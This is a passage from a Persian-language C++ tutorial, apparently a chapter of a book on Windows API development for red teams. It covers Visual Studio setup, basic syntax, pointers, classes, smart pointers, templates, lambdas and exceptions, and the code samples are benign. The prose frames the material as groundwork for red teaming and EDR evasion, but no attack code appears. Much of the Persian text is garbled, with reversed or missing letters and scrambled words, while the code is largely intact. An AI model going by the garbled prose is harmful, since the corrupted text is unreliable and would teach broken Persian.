Windows API است که  نییسطح پا یهااز رابط یا( مجموعهندوزیو یکاربرد یسینو)رابط برنامه

به  یها دسترسرابط نیتعامل داشت. ا ندوزیو عاملستمیبا س ماً یارائه داده تا بتوان مستق کروسافتیما

 :کنندیرا فراهم م ریمانند موارد ز ییعملکردها

 تیریمد ( پردازهProcess( و نخ )Thread) 

 یستریو رج لیفا یرو اتیعمل 

 یکاربر یهارابط (UI) 

 تیحافظه و امن 

 و تعامل با کرنل هاسیستم کال 

 آن: لیکار با آن است. دلا یبرا یحیترج یانهیاغلب گز ++C، شدهنوشته Cبه زبان  Windows API اگرچه

کند، بدون  یفراخوان ماً یرا مستق Windows APIتمام توابع  تواندیم ++C: C کامل با یسازگار .1

 .یسربار اضاف ایبه واسط  ازین

 استفادهقابل یهاها را در قالب کلاسAPI دهیچیمنطق پ توانیم ++C: در OOPاز  یبانیپشت .2

 کرد. یسازمجدد کپسوله

3. RAII مثل  ستمیامن منابع س تیریمد یهوشمند: برا یگرهاو اشارهHandle.ها و حافظه 
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طح س ینوشتن ابزارها ی: مناسب برانییسطح پا یو دسترس یخط یاز اسمبل یبانیپشت .4

 .میمخصوص رد ت ای ستمیس

استاندارد صنعت  ییزداتوسعه و اشکال یهاطی: محWinDbgو  Visual Studioادغام کامل با  .5

 .کنندیکار م ++C یهابا پروژه یخوببه

، زبان EDRدر حوزه دور زدن  قیتحق ای ور،ی(، توسعه دراRed Teaming) تیم قرمزمانند  ییهادرزمینه

C++ اریکدست یکه برا یزچی — کندیرا فراهم م هاسیستم کالگرها و کنترل کامل بر حافظه، اشاره 

 است. یاتیح یکارو پنهان نییسطح پا
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 ++C میمفاه

 ++Cبرنامه  کی هی. ساختار پا1

 include#که نقطه ورود برنامه است. قبل از آن از دستور  شودیآغاز م ()mainبا تابع خاص  ++Cبرنامه  هر

 .میکنیاستاندارد استفاده م یهاکتابخانه واردکردن یبرا

موفق  یدهنده اجراکه نشان ابندییم انیپا return 0و معمولاً با  شوندیاجرا م بیبرنامه به ترت یدستورها

 برنامه است.

 (I/O) یو خروج ی. ورود2

 .شودیکنسول چاپ م یرو ی( و خروجstandard input) دیکلصفحه قیمعمولاً از طر ی، ورود++C در

 شودیاستفاده م یخروج یبرا coutو  یورود یبرا cinکتابخانه استاندارد مانند  یکار از ابزارها نیا یبرا

 قرار دارند. stdنام  یکه هر دو در فضا

 هاو نوع داده رهای. متغ3

C++ زبان  کیstrongly typed  شود: فیتعر یبا نوع مشخص دیبا ریهر متغ یعنیاست؛ 

int, float, char, bool رهیو غ. 

 رهی( ذخایپو صیتخص ی)برا heapدر  ای( ستایا ای یمحل صیتخص ی)برا stackدر  ای رهایمتغ نیا حافظه

 .شودیم

 (Control Flow) انی. کنترل جر4

 :شوندیو تکرار استفاده م یریگمیتصم یبرا انیکنترل جر یساختارها

 ها: شرطif, else if, else یبول طیشرا یبررس یبرا 

 ها: حلقهfor, while, do-while که شرط برقرار است یتکرار تا زمان یبرا 

 switch-caseریمتغ کی یمقدار ممکن برا نیچند ی: بررس 

 . توابع5

و مقدار  رندیپارامتر بگ توانندیاند. مشدهطراحیمجدد  استفادهقابلمنطق  یبندگروه یبرا توابع

 یاما پارامترها کسانیچند تابع با نام  یعنی کند،یم یبانیتوابع پشت overloadingاز  ++C بازگردانند.

 متفاوت.
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 (Pointers & Referencesها )گرها و ارجاع. اشاره6

 اندیضرور نییسطح پا یسینوو در برنامه دارندیآدرس حافظه را نگه مگرها اشاره. 

 یاصل ریمقاد ،کپی کردنبدون  دهندیهستند و اجازه م رهایمتغ یبرا یها نام مستعارارجاع 

 کنند. رییتغ

 اند.مهم اریبس ستمیس یهاAPIعملکرد بالا و تعامل با  یدو برا هر

 ایحافظه پو صی. تخص7

C++ برنامه با  یاجرا نیحافظه در ح دهدیاجازه مnew و با  صیتخصdelete .آزاد شود 

 یریاست تا از نشت حافظه جلوگ سینوو آزاد کردن آن بر عهده برنامه شودیم رهیذخ heapحافظه در  نیا

 شود.

 Cسبک  یهاو رشته هاهی. آرا8

 با اندازه ثابت هستند. ییهایتوال هاهیآرا 

 یهارشته C از نوع  ییهاهیآراchar  ابندییم انیپا '\0'هستند که با کاراکتر. 

 استفاده کرد. strcpy جایبه strcpy_sتر مانند از توابع امن دی، باoverflowاز  یریجلوگ یبرا

 (Type Aliasesمستعار نوع ) یها( و نامEnumها )(، شمارشStruct. ساختارها )9

 Structمرتبط یرهایمتغ یبند: گروه 

 Enum :بهتر ییخوانا یشده برا یگذارنام یعدد ریمقاد فیتعر 

 Typedef / usingدهیچیپ یهاتر کردن نوعساده یمستعار برا یهانام جادی: ا 

سطح  یسینوو برنامه Windows API یاداده یطور مکرر در ساختارهاموارد به نیا

 .شوندیاستفاده م ستمیس

 (OOP) ءگراشی یسینو. برنامه10

C++  کندیم یبانیپشت ءگراییشیاز اصول کامل: 

 ها و رفتارهاداده فیها: تعرکلاس 

 Encapsulationبا  ی: کنترل دسترسpublic, private, protected 
 یسازو پاک هیاول یمقدارده یسازنده/مخرب: برا 

 ایپو یو رفتارها باز استفاده: یختیو چندر یبرارث 
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 ::stdنام و  ی. فضا11

 .شوندیاز تداخل نام استفاده م یریمرتبط و جلوگ ینمادها یبندگروه ی( براNamespaces)نام  یفضاها

 :دیتوانی:: قرار دارد. مstd یاستاندارد در فضا کتابخانه

  ازstd::cout ای دیاستفاده کن 

 دیسیبنو using namespace std; (شودینم هیبزرگ توص یها)در پروژه 

 (Smart Pointersهوشمند ) یگرها. اشاره12

C++ کندیخودکار حافظه فراهم م تیریمد یهوشمند برا یگرهااشاره: 

 unique_ptrیانحصار تی: مالک 

 shared_ptrشمارنده مرجع : 

1زانیآو یگرهااز نشت حافظه و اشاره کنندیابزارها کمک م نیا
 شود. یریجلوگ 

 (Templatesها ). قالب13

Templateوع با هر ن تواندیکلاس م ایتابع  کی یعنی کنند،یرا فراهم م یعموم یسینوها امکان برنامه

 .کنندینوع کمک م یمنیو ا باز استفادههستند و به  STL یبرا یاهیپا کار کند. یاداده

 (Lambda Expressions. توابع لامبدا )14

 ند، مثل:امجدد مناسب استفادهقابلکوتاه و  یهامنطق یدرجا هستند. برا شدهفیتعر نامیتوابع ب لامبداها

 یسازمرتب 

 کردن لتریف 

 callbackها 
 threading 

 .رندیارجاع بگ ایاطراف خود را با مقدار  یرهایمتغ توانندیم

                                                                    

1 dangling pointers 



 ویندوز برای تیم قرمز APIمقدمه ای بر توسعه 

 

27 

 

 (Move Semantics) تی. انتقال مالک15

Move semantics با منتقل شوند. گرید ءشیبه  ءشی کیکردن، از  یمنابع بدون کپ دهدیاجازه م 

 یریبافرها جلوگ ایها بزرگ مانند رشته یهادر داده نهیپرهز عملیاتاز  توانیم std::moveاستفاده از 

 کرد.

 (Exception Handlingخطا ) تیری. مد۶۱
C++  ازexception کندیخطا در زمان اجرا استفاده م تیریمد یبرا: 

 tryبلوک مستعد خطا : 

 throwپرتاب خطا : 

 catchبه خطا یدگی: گرفتن و رس 

 .سازدیامن را ممکن م یابیو باز ردیگیکرش برنامه را م یسازوکار جلو نیا

17 .RAII (2ءشی اتیمنبع با زمان ح تی)مالک 

 .شوندیمرتبط م ءشی اتیقفل با زمان ح ای لیکه در آن منابع مانند حافظه، فا ++C یالگو کی

 .کندیخودکار منبع را آزاد مطور به destructorاز دامنه خارج شود،  ءشی یوقت

 :هامثال

 هالیفا 

 هوشمند یگرهااشاره 

 lock guardیسازهمگام یها برا threadها 

 (STL. کتابخانه استاندارد الگوها )18

STL است: هاتمیو الگور نرهایقدرتمند از کانت یامجموعه 

 نرهایکانت :vector, map, set, queue 
 هاتمیالگور :sort, find, for_each 

 iteratorنرهایکانت شیمایپ یبرا یانتزاع یگرهاها: اشاره 

 کارا و آزموده شده است. ،پذیرباز استفاده STL کد

                                                                    

2 InitializationResource Acquisition Is  
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 Windows APIتوسعه با  یبرا ی. آمادگ19

 :ریز لیانتخاب است به دلا نیبهتر ++Cزبان  ندوز،یو عاملستمیتعامل با س یبرا

 به حافظه میمستق یدسترس 

  کاریدستامکان ( ساختارهاstruct) 

 گرهاکنترل سطح اشاره 

 کامل با زبان  یسازگارC که زبان اصل(ی WinAPI )است 

 :شوندیم ریشامل موارد ز جیرا یکارها

 هدر  واردکردن<Windows.h> 

 یهااستفاده از رشته wide  مانندwchar_t  وL”string” 

 مانند  یاانواع داده تیریمدHANDLE ،DWORD ،LPVOID رهیو غ 

 مثل  ندوزیو یتوابع بوم یفراخوانCreateProcessW ،VirtualAlloc ،MessageBoxW 

 یهاکیو تکن هاسیستم کال ندوز،یکار با هسته و یحافظه برا یهاگرها و مدلبا ساختارها، اشاره ییآشنا

 است. یضرور اریبس EDRفرار از 

 مطالب خلاصه

 تحت پوشش میمفاه یبنددسته

 ی/خروجیورود رها،یساختار برنامه، متغ هیپا اصول

 if ،for ،while ،switch یکنترل یساختارها

 overloadingپارامترها،  ف،یتعر توابع

 nullptr ا،یپو صیگر، تخصاشاره گرو اشاره حافظه

 مستعار یها، نوعstruct ،enum ه،یآرا داده یبندگروه

 یسازمتدها، کپسولهکلاس، سازنده،  (OOP) ءگراییشی

 move semantics، لامبدا، استثناها، smart pointer ،template شرفتهیپ میمفاه

 منابع بر اساس دامنه تیریمد RAIIو  یمنیا

STL vector ،هاiteratorهاتمیها، الگور 

 ندوزیو API ی، ساختارهاwide یهاها، رشتهWindows.h ،handle وزندیبا و یسازکپارچهی
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 Visual Studioپروژه در  جادیا

 Visual Studioدر  C++ Console: ساخت پروژه مرحلهبهمرحله

 و بالاتر Visual Studio 2019, 2022 یهابا نسخه سازگار

 Visual Studio ی. اجرا1

 یمنو از Start دسکتاپ،  ایVisual Studio  بازکنیدرا. 

 دی. ساخت پروژه جد2

 نهیگز یصفحه شروع، رو در "Create a new project" دیکن کیکل. 

 "Console App". انتخاب قالب 3

 دیسیدر کادر جستجو بنو :Console App 

 ها،نهیگز نیاز ب "Console App (C++)" دیرا انتخاب کن. 

 .دیرا انتخاب نکن #C یهاپروژه ای "Console App (.NET Core)" ینهیگز

 یرو Next دیکن کیکل. 

 پروژه یکربندی. پ4

 Project name ًمثلا :MyCppProject گریهر نام دلخواه د ای 

 Location :دیپروژه انتخاب کن رهیذخ یپوشه برا کی 

 Solution nameباشد یکیبا نام پروژه  تواندی: م 

 یرو Create دیکن کیکل. 

 پروژه ماتی. انتخاب تنظ5

 Target Framework(دینسخه را انتخاب کن نیدتریجد ایبماند ) فرضشیحالت پ ی: رو 

 Platform Toolsetته داش یبه سازگار یخاص ازین نکهیمگر ا د،یرا حفظ کن فرضشی: حالت پ

 دیباش

 یرو Create ای OK دیکن کیکل. 

 . نوشتن کد6

 است: نیبه ا هیشب یاهیساختار اول یکه دارا دید دیخواه MyCppProject.cppبه نام  یلیفا



 ویندوز برای تیم قرمز APIمقدمه ای بر توسعه 

 

30 

 

#include <iostream> 

 

int main() { 
    std::cout << "Hello, World!" << std::endl; 
    return 0; 
}  

 .دیاضافه کن ای نیگزیکد خود را جا دیتوانیم لیفا نیا در

 ( پروژهBuild. ساخت )7

 :دیبالا انتخاب کن یمنو از

Build → Build Solution     
 ای

 Ctrl + Shift + B: انبریم دیکل    

 .کندیم لیمرحله کد شما را کامپا نیا

 پروژه یجرا. ا8

 باگیاجرا بدون حالت د یبرا Ctrl + F5: انبریم دیکل    

 Debug → Start Without Debugging: از منو ای    

 :شودیداده م شینما ریمثل ز یو خروج شودیپنجره کنسول باز م کیحالت،  نیا در

Hello, World!  

 Windows APIتوسعه با  یبرا یاریاخت ماتیتنظ

 :CreateProcessW ای MessageBoxWمانند  Windows APIاستفاده از توابع  یبرا

 :دیدستور را اضافه کن نیخود ا cpp. لیفا یدر ابتدا    

#include <Windows.h>  

 :کدیونیاز  یبانیپشت یسازفعال یبرا    

  بهProject → Properties دیبرو 

  در بخشConfiguration Properties → General 
o ینهیگز Character Set یرا رو Use Unicode Character Set دیکن میتنظ 

 یرو OK شوند. رهیذخ ماتیتا تنظ دیکن کیکل 
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 ++Cدر  یسینوبرنامه ییابتدا یهامثال

1 .Hello World – برنامه ناولی 

#include <iostream>  // Includes the standard 

input/output stream library 
 

int main() {  // Entry point of every C++ program 
    std::cout << "Hello, World!" << std::endl;  // 

Outputs text to the console 
    return 0;  // Returns 0 to indicate successful 

execution 
}  

 :حیتوض

 #include <iostream>ی/خروجیورود یاست که کتابخانه پیش پردازندهدستور  کی نی: ا 

توابع  ریو سا std::cout ،std::cinاز  دهدیبه ما اجازه م نی. اکندیم یاستاندارد را بارگذار

 .میاستفاده کن ی/خروجیورود

 int main تابع :)(mainنقطه )(یآغاز هر برنامه ی C++ را به  حیعدد صح کیتابع  نیاست. ا

 است.« بدون خطا» یبه معنا 0 عدد معمولاً — گرداندیبازم عاملستمیس

 std::coutشودیاستفاده م نالیترم یچاپ متن رو یاستاندارد است، برا ی: خروج. 

 <<( به آن عملگر درج :insertion operatorم )یخروج انیارسال داده به جر یو برا ندیگوی 

 .شودیاستفاده م

 std::endlتا مطمئن شود متن فوراً  کندیرا پاک م یرا تمام کرده و بافر خروج ی: خط جار

 داده شود. شینما

 return 0;اجرا شده است. تیکه برنامه با موفق کندیاعلام م ستمی: به س 
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 cinاز کاربر با  یورود افتی. در2

#include <iostream> 

 

int main() { 
    int age;  // Declare an integer variable to store 

age 
 

    std::cout << "Enter your age: "; 
    std::cin >> age;  // Read input from user and store 

it in 'age' 
 

    std::cout << "You are " << age << " years old." << 

std::endl; 
    return 0; 
}  

 :حیتوض

 std::cin :قیاز کاربر )معمولاً از طر یورود افتیدر یاستاندارد است که برا یورود انیجر 

 .شودی( استفاده مدیکلصفحه

 >>( عملگر استخراج :extraction operatorاست و برا )کیکاربر به  یداده واردکردن ی 

 .شودیاستفاده م ریمتغ

 int age; :حیاز نوع عدد صح ریمتغ کی (intتعر )را نگه دارد. یعدد ریتا مقاد کندیم فی 

 if ،else if ،else – ی. دستورات شرط3

#include <iostream> 

 

int main() { 
    int number; 
 

    std::cout << "Enter a number: "; 
    std::cin >> number; 
 

    if (number > 0) { 
        std::cout << "Positive number" << std::endl; 
    } else if (number < 0) { 
        std::cout << "Negative number" << std::endl; 
    } else { 
        std::cout << "Zero" << std::endl; 
    } 
 

    return 0; 
}  
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 :حیتوض

 کنندیکنترل م طیبرنامه را بر اساس شرا یاجرا انیجر یدستورات شرط. 

 ifکه شرط برقرار باشد. شودیاجرا م ی: زمان 

 else if :دهدیارائه م نیگزیشرط جا کی. 

 elseبرقرار نباشند. یقبل طیشرا یکه همه شودیاجرا م ی: زمان 

 را در زبان  یریگمیساختار منطق تصم نیاCکندیم ی++ معرف. 

 تکرار( یها )ساختارها. حلقه4

 از تکرارها مشخصی تعداد – for حلقه

#include <iostream> 

 

int main() { 
    for (int i = 0; i < 5; i++) { 
        std::cout << "Iteration: " << i << std::endl; 
    } 
    return 0; 
}  

 :حیتوض

    for (init; condition; update): 

        int i = 0 کندیشروع م 0: حلقه را از. 

        i < 5شرط برقرار باشد. نیکه ا شودیاجرا م ی: حلقه تا زمان 

        i++ در هر تکرار مقدار :i  دهدیم شیواحد افزا کیرا. 

 تکرار انجام شود. دیچند بار با دیدانیکه م شوندیاستفاده م یزمان for یهاحلقه    
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 (شرط به وابسته) نامشخص تکرار – while حلقه

#include <iostream> 

 

int main() { 
    int i = 0; 
    while (i < 5) { 
        std::cout << "i is still less than 5: " << i << 

std::endl; 
        i++; 
    } 
    return 0; 
}  

 :حیتوض

    while کندیکه شرط درست باشد اجرا م ی)شرط(: کد را تا زمان. 

 .است یخارج طیشرا ایدر زمان اجرا  یحلقه وابسته به ورود یاجرا انیاست که پا یزمان یمناسب برا    

 . توابع5

#include <iostream> 

 

// Function declaration and definition 

void greet() { 
    std::cout << "Hello! Welcome to C++ programming." << 

std::endl; 
} 
 

int main() { 
    greet();  // Function call 
    return 0; 
}  

 :حیتوض

 void greetبه نام  ی)(: تابعgreet گرداندیبرنم یمقدار چیکه ه کندیم فیتعر (voidو ه )چی 

 .ردیگینم یپارامتر

 میکن میمجدد تقس استفادهقابل یهاتا کد را به بلوک کنندیتوابع کمک م. 

 شودیدر هر نقطه از برنامه اجرا م شدهفیتابع، رفتار تعر یبا فراخوان. 
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 (ءگراشی یسینو)برنامه اءیها و اش. کلاس6

#include <iostream> 

 

class Person { 
public: 
    std::string name; 
    int age; 
 

    void introduce() { 
        std::cout << "My name is " << name << " and I am 

" << age << " years old." << std::endl; 
    } 
}; 
 

int main() { 
    Person p1; 
    p1.name = "Lucas"; 
    p1.age = 30; 
    p1.introduce(); 
 

    return 0; 
}  

 :حیتوض

    class Person :دارد و هم تابع. ریکه هم متغ کندیم فیتعر دیجد ینوع داده کی 

    publicکندیم یدسترسکلاس را از خارج کلاس قابل ی: اعضا. 

    std::string name :نام شخص. داشتننگه یبرا یارشته ریمتغ کی 

    void introduce() :کلاس مثل  یبه اعضا تواندیمتد )تابع داخل کلاس( است. م کیname  وage 

 داشته باشد. یدسترس

    Person p1; :( از کلاس ءینمونه )ش کیPerson سازدیم. 
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 ++Cدر  یسینومتوسط برنامه یهامثال

 (Pointersگرها ). اشاره1

#include <iostream> 

 

int main() { 
    int value = 10; 
    int* ptr = &value; 
 

    std::cout << "Value: " << value << std::endl; 
    std::cout << "Pointer address: " << ptr << 

std::endl; 
    std::cout << "Value via pointer: " << *ptr << 

std::endl; 
 

    return 0; 
}  

 :حیتوض

 int* ptrاز نوع  ریبه متغ یگر: اشارهint کندیم فیتعر. 

 &valueریمتغ ی: عملگر آدرس که آدرس حافظه value گرداندیرا برم. 

 *ptrِفرِنسی: عملگر در (dereferenceکه به معن )است که در آن آدرس  یمقدار افتیدر" ی

 ."شدهذخیره

 و میمستق یمهم هستند و اجازه دسترس اریبس نییسطح پا یسینوگرها در برنامهاشاره 

 .دهندیحافظه را م کاریدست

 deleteو  new: ای. حافظه پو2
#include <iostream> 

 

int main() { 
    int* num = new int; 
    *num = 25; 
 

    std::cout << "Value: " << *num << std::endl; 
 

    delete num; 
    num = nullptr; 
 

    return 0; 
}  
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 :حیتوض

 new int :دهدیم صیتخص پیاز ه حیعدد صح کی یبرا یا( حافظهکینامی)د ایپو صورتبه. 

 delete کندیرا آزاد م شدهداده: آن حافظه اختصاص. 

 nullptrاست تا از رفتار نامشخص )پس از  یکه کار خوب کندیم یگر را بازنشان: مقدار اشاره

 شود. یری( جلوگیآزادساز

 ایپو یهاهی. آرا3

#include <iostream> 

 

int main() { 
    int* array = new int[3]; 
 

    array[0] = 10; 
    array[1] = 20; 
    array[2] = 30; 
 

    for (int i = 0; i < 3; i++) { 
        std::cout << "Element " << i << ": " << array[i] 

<< std::endl; 
    } 
 

    delete[] array; 
    return 0; 
}  

 :حیتوض

 new int[3]عنصر از نوع  3با  یاهیآرا یبرا یا: حافظهint دهدیم صیتخص. 

 Delete[]با  نی. اکندیرا آزاد م هیبه آرا شدهداده صی: حافظه تخصdelete یرهایمتغ یبرا 

 تک فرق دارد.
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 C (C-style Strings)به سبک  یها. رشته4
#include <iostream> 

#include <cstring> 

 

int main() { 
    char text[20]; 
    strcpy_s(text, sizeof(text), "Hello"); 
 

    std::cout << "Text: " << text << std::endl; 
    std::cout << "Length: " << strlen(text) << 

std::endl; 
 

    return 0; 
}  

 :حیتوض

 ه سبک ب یهارشتهCاز  یاهی، آراchar  پایان دهندههستند که با علامت null ('0\' خاتمه )

 .ابندییم

 strcpy :کندیم یرشته را کپ کی. 

 strlenی: تعداد کاراکترها ( جزبهرشته nullرا برم )گرداندی. 

 یهنگام فراخوان APIکه  ندوزیو یهاchar *ای wchar_tبه سبک  یهابه رشته خواهند،ی* م

C است. ازین 

 (References. ارجاعات )5
#include <iostream> 

 

void doubleValue(int& x) { 
    x *= 2; 
} 
 

int main() { 
    int value = 5; 
    doubleValue(value); 
 

    std::cout << "Doubled: " << value << std::endl; 
    return 0; 
}  

 :حیتوض

 int& xآن. یاست، نه کپ حیعدد صح کیبه  ی: ارجاع 
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 قدار م توانندنمی — شوندیاستفاده م تریعیو طب ترمنیگرها هستند اما اارجاعات مانند اشاره

null  اشاره کنند. یگرید ریبه متغ ایداشته باشند 

 دهند. رییرا تغ رهایمتغ یاصل ریتوابع مقاد دهندیاجازه م 

 (Structs. ساختارها )6

#include <iostream> 

 

struct Point { 
    int x; 
    int y; 
}; 
 

int main() { 
    Point p; 
    p.x = 10; 
    p.y = 20; 
 

    std::cout << "Point: (" << p.x << ", " << p.y << ")" 

<< std::endl; 
    return 0; 
}  

 :حیتوض

 structکندیم یبندنوع داده گروه کیرا در قالب  رهای: متغ. 

  درAPIمثل  ندوزیو یهاPROCESS_INFORMATION  وSTARTUPINFO استفاده  اریبس

 .شودیم

7 .typedef  وusing 
#include <iostream> 

 

typedef unsigned int uint; 
using ushort = unsigned short; 
 

int main() { 
    uint a = 10; 
    ushort b = 500; 
 

    std::cout << "uint: " << a << ", ushort: " << b << 

std::endl; 
    return 0; 
}  
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 :حیتوض

 typedef  وusing یهانام جادیا یبرا ( مستعارaliasبرا )شوندیها استفاده منوع ی. 

 مخصوص پلتفرم  ای دهیچیپ یهانوع یبرا خصوصبهبهتر کد  یو نگهدار ییباعث خوانا

 .شوندیم

 (Enumsها ). انوم8

#include <iostream> 

 

enum Status { 
    Off, 
    On, 
    Standby 

}; 
 

int main() { 
    Status s = On; 
 

    if (s == On) { 
        std::cout << "The system is on." << std::endl; 
    } 
 

    return 0; 
}  

 :حیتوض

 enumکندیم فیدار تعر نام یهااز ثابت یا: مجموعه. 

 شودیم 2، 1، 0مثل  ییاعداد جادو نیگزیو جا بخشدیکد را بهبود م ییخوانا. 

 (Function Overloadingتوابع ) ی. بارگذار9
#include <iostream> 

void print(int x) { 
    std::cout << "Integer: " << x << std::endl; 
} 

void print(const char* s) { 
    std::cout << "String: " << s << std::endl; 
} 

int main() { 
    print(42); 
    print("Hello"); 
    return 0; 
}  
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 :حیتوض

 دیکن فیمتفاوت تعر یپارامترها ینام ول کیچند تابع با  دیتوانیم. 

 کدام نسخه اجرا شود. ردیگیم میبر اساس نوع آرگومان تصم لریکامپا 

 (Constructorsها )ها و سازنده. کلاس10

#include <iostream> 

class Person { 
public: 
    std::string name; 
    int age; 

    Person(std::string n, int a) { 
        name = n; 
        age = a; 
    } 

    void introduce() { 
        std::cout << "Name: " << name << ", Age: " << 

age << std::endl; 
    } 
}; 

int main() { 
    Person p("Alice", 30); 
    p.introduce(); 
    return 0; 
}  

 :حیتوض

 class :اخت(.س ی)الگو کندیم فیتعر دینوع داده جد کی 

 Person(…)شودیاجرا م ءیش جادیکه هنگام ا یا: سازنده. 

 this->name وجود ندارد. ریاست چون تداخل نام متغ یاریاخت 

 (Namespacesنام ) ی. فضاها11

#include <iostream> 

namespace Logger { 
    void log(const char* msg) { 
        std::cout << "[LOG]: " << msg << std::endl; 
    } 
} 

int main() { 
    Logger::log("Application started."); 
    return 0; 
}  
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 :حیتوض

 namespace کندیم یریها جلوگو از تداخل نام کندیم دهیسازمان: کد را. 

 به اعضا از قالب  یدسترس یبراNamespaceName::ItemName شودیاستفاده م. 

  کل کتابخانه استانداردCنام  ی++ داخل فضاstd .قرار دارد 

stdست؟ی:: چ 

 std مخفف ::standard  است و به کتابخانه استانداردC.اشاره دارد ++ 

 استاندارد  یهایژگینام شامل تمام و یفضا نیاC:مثل ++ 

o std::cout کنسول( ی)خروج 

o std::cin کنسول( ی)ورود 

o std::string )کلاس رشته( 

 std::vector, std::map, std::sort رهیو غ 

 م؟یکنیرا استفاده نم coutفقط  چرا

 لریکامپا د،یسینام آن را بنو یقرار دارد، اگر بدون مشخص کردن فضا stdنام  یداخل فضا cout چون

 .دهدیظور شماست و خطا ممن coutکدام  داندینم

 :انبریم راه

 :دیاستفاده کن ری:: از دستور زstdنوشتن دائم  جایبه دیتوانیم

using namespace std;  

همچنان  یمنیوضوح و ا یبرا شودیم هیتوص ندوز،یو و ستمیس یسینوبرنامه ویژهبه ،یاحرفه یدر کدها اما

 .دی:: استفاده کنstdاز 
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 ++Cدر  شرفتهیپ یهامثال

 std::shared_ptrو  std::unique_ptrهوشمند:  یگرها. اشاره۶
استفاده  deleteاز  یدست صورتبهدارند که خودتان  ازی* نchar ای* intخام مانند  یگرهااشارهبرای 

برنامه  یخراب ایو از نشت حافظه  دهندیخودکار انجام م طوربهکار را  نیهوشمند ا یگرهااشاره .دیکن

 .کنندیم یریجلوگ

std::unique_ptr – یانحصار تمالکی 

#include <iostream> 

#include <memory>  // for smart pointers 
 

int main() { 
    std::unique_ptr<int> ptr = 

std::make_unique<int>(42); 
 

    std::cout << "Value: " << *ptr << std::endl; 
 

    // no need to call delete; it auto-deletes when ptr 

goes out of scope 
    return 0; 
}  

 :حیتوض

 std::unique_ptr<T> را  ایپو صورتبه شدهدادهاختصاص  ءیش کی یرو یانحصار تیمالک

 .داردینگه م

 کی توانینم unique_ptr توانیکرد. فقط م یرا کپ ( آن را منتقلmove.کرد ) 

  خودکار هنگام خروج اشاره صورتبهحافظه( گر از محدودهscopeآزاد م )یمفهوم نی. اشودی 

 (.Resource Acquisition Is Initializationاست ) RAIIبه نام 
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std::shared_ptr – ( شمارش مراجعReference counting) 
#include <iostream> 

#include <memory> 

 

void use(std::shared_ptr<int> p) { 
    std::cout << "In function: " << *p << std::endl; 
} 
 

int main() { 
    std::shared_ptr<int> p1 = std::make_shared<int>(99); 
    std::shared_ptr<int> p2 = p1;  // now shared by both 
 

    use(p1); 
    std::cout << "Use count: " << p1.use_count() << 

std::endl; 
 

    return 0; 
}  

 :حیتوض

 shared_ptr مشترک داشته باشند. تیمالک ءیش کی یچند بخش از برنامه رو دهدیاجازه م 

 برود، حافظه  نیمالک از ب نیآخر ی. وقتکندیاز شمارنده مرجع استفاده م یداخل صورتبه

 .شودیآزاد م

 شود میچند بخش تقس نیب دیبا ءیش کیاستفاده از  تیاست که مسئول دیمف یمواقع یبرا. 

 std::move( و Move Semantics) ییجاجابه ی. معنا2

ی کپکه منابع بدون  دهدیامکان را م نیا ییجاجابه یباشد. معنا نهیپرهز تواندیم اءیاش کپی کردن

 منتقل شوند. یگریبه د ءیش کیاز  کردن

#include <iostream> 

#include <string> 

#include <utility>  // for std::move 
 

int main() { 
    std::string a = "Hello"; 
    std::string b = std::move(a);  // transfer resources 

from 'a' to 'b' 
 

    std::cout << "b: " << b << std::endl; 
    std::cout << "a (moved-from): " << a << std::endl; 
 

    return 0; 
}  
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 :حیتوض

 std::move  ًواقعاa  یگذارعلامت «جاییجابهقابل» عنوانبه را ءیبلکه ش کند،یجا نمجابهرا 

 .کندیم

 ریمتغ a معتبر اما نامشخص قرار دارد. تیوضع کیدر  ییجابعد از جابه 

 یاتیبزرگ( ح یدارد )مثل انتقال بافرها ییبالا تیکه عملکرد اهم ییهاروش در برنامه نیا 

 است.

 (Lambda Expressions. عبارات لامبدا )3

چند  یسینوو برنامه یسازمرتب لتر،ی، فcallbackاز توابع هستند و اغلب در  یافشرده یهافیتعر لامبداها

 .شوندی( استفاده مthreading) ریسمانی

 ساده: یلامبدا

#include <iostream> 

 

int main() { 
    auto square = [](int x) { return x * x; }; 
    std::cout << "Square of 5: " << square(5) << 

std::endl; 
    return 0; 
}  

 :حیتوض

 .شروع لامبدا است ][ 

 (int xتعر )پارامتر است. فی 

  {return … بد }.نه تابع است 

 auto  دهدیم صیخودکار تشخ صورتبهنوع تابع لامبدا را. 

 :یاز محدوده خارج ریبا گرفتن متغ لامبدا

int y = 10; 
auto multiply = [y](int x) { return x * y; };  // 

capture y by value  

 Callbackتابع و  یگرها. اشاره4

 hook ای CreateThread ،EnumWindows مثل — شودیداده استفاده م عنوانبهانتقال رفتار  یبرا

 .ندوزیکردن توابع در و
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#include <iostream> 

 

void hello() { 
    std::cout << "Hello from callback!" << std::endl; 
} 
 

void callCallback(void (*func)()) { 
    func();  // call the function 
} 
 

int main() { 
    callCallback(hello); 
    return 0; 
}  

 :حیتوض

 void (*func)() گر به تابع است.اشاره کی 

 تابع  توانیمhello  را بهcallCallback است. کسانی هاآن یداد چون امضا 

  درAPIمثل  ییهاEnumWindows ندوزیو امیپ یهاو حلقه (message loopsح )است. یاتی 

 (Generic Programming) یعموم یسنویبرنامه –( Templatesها ). قالب5

 نباشند. یکه وابسته به نوع خاص دیسیبنو ییهاتوابع و کلاس دهندیبه شما اجازه م هاقالب

 تابع: قالب

#include <iostream> 

 

template <typename T> 
T add(T a, T b) { 
    return a + b; 
} 
 

int main() { 
    std::cout << "Sum int: " << add<int>(3, 4) << 

std::endl; 
    std::cout << "Sum double: " << add(2.5, 3.1) << 

std::endl; 
    return 0; 
}  

 :حیتوض

 template <typename T> کندیم فیتعر ینوع عموم کی. 

 add<int> کندینوع را صراحتاً مشخص م. 
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 Add(2.5, 3.1) کندیاز استنباط نوع استفاده م. 

  در کتابخانه استانداردC++ دارد:  یااستفاده گستردهstd::vector<T>, std::map<K,V> ... و 

 (Exception Handlingاستثنا ) تیری. مد6

 .شودیبرنامه استفاده م رش کردنکبدون  رمنتظرهیغ یهاتیبرخورد مؤدبانه با موقع یبرا

#include <iostream> 

#include <stdexcept> 

 

int divide(int a, int b) { 
    if (b == 0) 
        throw std::runtime_error("Division by zero"); 
    return a / b; 
} 
 

int main() { 
    try { 
        int result = divide(10, 0); 
        std::cout << "Result: " << result << std::endl; 
    } catch (const std::runtime_error& e) { 
        std::cerr << "Caught exception: " << e.what() << 

std::endl; 
    } 
 

    return 0; 
}  

 :حیتوض

 throwکندی: خطا را اعلام م. 

 tryکند. جادیاست که ممکن است استثناء ا ی: بلوک 

 catchکندیم تیری: استثناء را مد. 

 e.what()گرداندیرا برم استثناءبهمربوط  یخطا امی: پ. 

